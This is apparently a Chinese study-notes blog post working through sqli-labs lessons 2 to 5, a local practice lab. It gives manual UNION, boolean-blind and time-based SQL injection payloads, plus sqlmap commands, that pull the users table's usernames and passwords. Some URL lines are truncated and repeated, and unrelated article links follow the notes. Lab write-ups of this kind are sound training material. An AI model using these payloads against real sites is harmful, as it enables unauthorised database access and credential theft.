sqli-labs学习笔记 DAY2
DAY2
sqli-labs lesson 2
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-2/
- Parameter:id
- 注入点检测:id=2;–+
- 回显点检测:id=2+UNION+SELECT+1,2,3;–+
- 字段数猜解:id=2+ORDER+BY+3;–+
- 获取当前数据库:id=99+UNION+SELECT+1,database(),3;–+
- 获取security数据库的表:id=99+UNION+SELECT+1,group_concat(table_name),3+FROM+information_schema.tables+WHERE+table_schema=‘security’;–+
- 获取users表的字段:id=99+UNION+SELECT+1,group_concat(column_name),3+FROM+information_schema.columns+WHERE+table_schema=‘security’+AND+table_name=‘users’;–+
- 获取users表的记录:id=99+UNION+SELECT+1,group_concat(username),group_concat(password)+FROM+security.users;–+
- sqlmap
- 命令:python sqlmap.py
- 注入点检测:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0
- 获取当前数据库:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 --current-db
- 获取数据库所有表:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security --tables
- 获取users表所有字段:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security -T users --columns
- 获取users表所有记录:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security -T users -C username,password --dump
sqli-labs lesson 3
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-3/
- Parameter:id
- 该题与lesson 2相同,只不过在单引号后面加一个)。这一点可以通过利用上一题的检测方法检测时的报错知晓。
- sqlmap
- 与上一题完全相同
sqli-labs lesson 4
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-4/
- Parameter:id
- 该题与lesson 2相同,只不过在单引号换成双引号。这一点可以通过利用上一题的检测方法检测时的报错知晓。
- sqlmap
- 同lesson 2
sqli-labs lesson 5
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-5/
- Parameter:id
- 布尔型注入
- 检测:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+0;--+
- 说明:如果存在注入点,网页返回与id=1的结果不同,如果把0改成1,则相同
- sql的if函数:if(CONDITION, A, B) 条件成立,返回A,否则返回B
- 长度函数:length(STRING)
- 字符串截取
- 检测数据库名长度:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(length(database())=n,1,0);–+
- 也可以用不等号来进行二分法猜解
- 猜测数据库名:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a’,1,0);–+
- left()函数:left(STRING, LENGTH)返回字符串左边LENGTH个字符
- substring(string, pos, length)返回字符串string从pos开始的length长度的子字符串
- 也可以使用ascii()函数把字符转成ascii来二分法猜解
- 可以借助Burpsuit实现半自动化简化过程,通过返回网页的长度来判断返回值
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a利用延迟来注入
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a检测:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+SLEEP(5);--+
- 说明:如果存在注入点,网页的返回会延迟5S,可以通过开发者工具观察返回时间的变化
- sql的if函数:if(CONDITION, A, B) 条件成立,返回A,否则返回B
- 长度函数:length(STRING)
- 字符串截取
- 检测数据库名长度:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(length(database())=n,SLEEP(5),1);–+
- 也可以用不等号来进行二分法猜解
- 猜测数据库名:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a’,SLEEP(5),1);–+
- 字段数、表名等语法类似
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- sqlmap
- 同lesson 2
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
sqli-labs学习笔记 DAY2的更多相关文章
- 《从零开始学Swift》学习笔记(Day2)——使用Web网站编写Swift代码
Swift 2.0学习笔记——使用Web网站编写Swift代码 原创文章,欢迎转载.转载请注明:关东升的博客 Swift程序不能在Windows其他平台编译和运行,有人提供了一个网站swiftstub ...
- Python学习笔记 - day2 - PyCharm的基本使用
什么是IDE 开始学习的小白同学,一看到这三个字母应该是懵逼的,那么我们一点一点来说. 既然学习Python语言我们就需要写代码,那么代码写在哪里呢? 在记事本里写 在word文档里写 在sublim ...
- python网络爬虫与信息提取 学习笔记day2
Day2: 查看robots协议: 查看京东的robots协议 查看百度的robots协议,可以看到百度拒绝了搜狗的爬虫233 爬取京东商品页面相关信息: import requests url = ...
- oracle学习笔记day2
第三章:单值函数 函数分为: 1.单值函数 1.字符函数 2.日期函数 3.转换函数 4.数字函数 2.分组函数(后面的章节再做学习) 哑表dual dual是一个虚拟表,用来构成select的语法规 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- Python学习笔记——Day2
一.集成开发环境 集成开发环境(IDE,Integrated development Enviroment)是用于提供程序开发环境的应用程序,一般包括代码编辑器.编译器.调试器和图形用户界面等工具.集 ...
- [python学习笔记]Day2
摘要: 对象 对于python来说,一切事物都是对象,对象基于类创建: 注:查看对象相关成员 var,type,dir 基本数据类型和序列 int内部功能 class int(object): def ...
- 学习笔记DAY2
Pycharm使用 1.添加模板 file => settings =>Editor=>file and code template => python script => ...
- python学习笔记-Day2 Numpy数组
1. 实现两个数组相加,在数据量特别大的时候 产生数组: (1) 从列表产生数组:a=[0,1,2,3] a=np.array(1) a (2) 从列表传入 a=np.array([1,2,3,4 ...
随机推荐
- 减少 lwip 消耗 的 RAM
1.修改 最大一包数据的大小 TCP_MSS , 即 TCP最大报文段大小,根据自己的应用进行修改 比如 我 的一包数据最大 256字节,在 lwipopts.h 文件中 因此 修改 如下: /* ...
- Mac电脑用终端生成SSH key 访问自己的Github
链接:https://www.jianshu.com/p/5b34b7b34cae
- ThinkPHP微信扫码支付接口
最近折腾微信扫码支付,看了微信官方文档,找了很多网页,发现和文档/demo不匹配,现在自己算是弄出来了(文件名称有所更改),贴出来分享一下 一.将有用的官方lib文件和使用的相关文件放置到vendor ...
- MySQL无法启动重启竟是因为改了Linux主机名
MySQL无法重启.无法关闭.无法启动.无法使用,如果是因为修改了主机名,可以这样解决:关闭掉所有mysql进程,然后在启动一些mysql! 有时候,只要执行如下MySQL初始化命令即可解决:/usr ...
- angular1.x todolist 实现
将要计划完成事的列表存在localStroage ,实现本地同步删除,同步增加. <!DOCTYPE html> <html lang="zh" ng-app=& ...
- STL的六大容器之iterator----自定义范式
STL的iterator组件,分离了容器和算法. 一.规定 在STL体系下定义iterator,要满足规定的一些规范: 1.iterator_category 有5中分类,决定胃具体的操作,如:++, ...
- pgsql 变量赋值方法
1.网上一般说的方法如下: :=,赋值,比如user_id := 20; select into 赋值,比如 SELECT INTO myrec * FROM emp WHERE empname = ...
- 【 C 】字符串常量
当一个字符串常量出现在表达式中时,它的值是个指针常量.编译器把这些指定字符的一份拷贝存储在内存的某个位置,并存储一个指向第一个字符的指针.但是,当数组名用于表达式中时,它们的值也是个指针常量.我们可以 ...
- 转 关于window10安装jdk,配置环境变量,javac不是内部或外部命令,也不是可运行的程序 或批处理文件的细节问题。
今日拿到一台新的window10笔记本电脑,非常熟练的安装了JDK(因为在学校经常给同学安装JDK - -)但是发现java java -version命令都可以使用,唯独javac命令出现不是内部或 ...
- [Err] ERROR: wrong record type supplied in RETURN NEXT
在写GP 输出不定长列数据表 函数时,报了一个错,百思不得其解.在公司大佬帮助下,知道是什么鬼了.. 先看看例子吧: ---- 函数定义 CREATE OR REPLACE FUNCTION &quo ...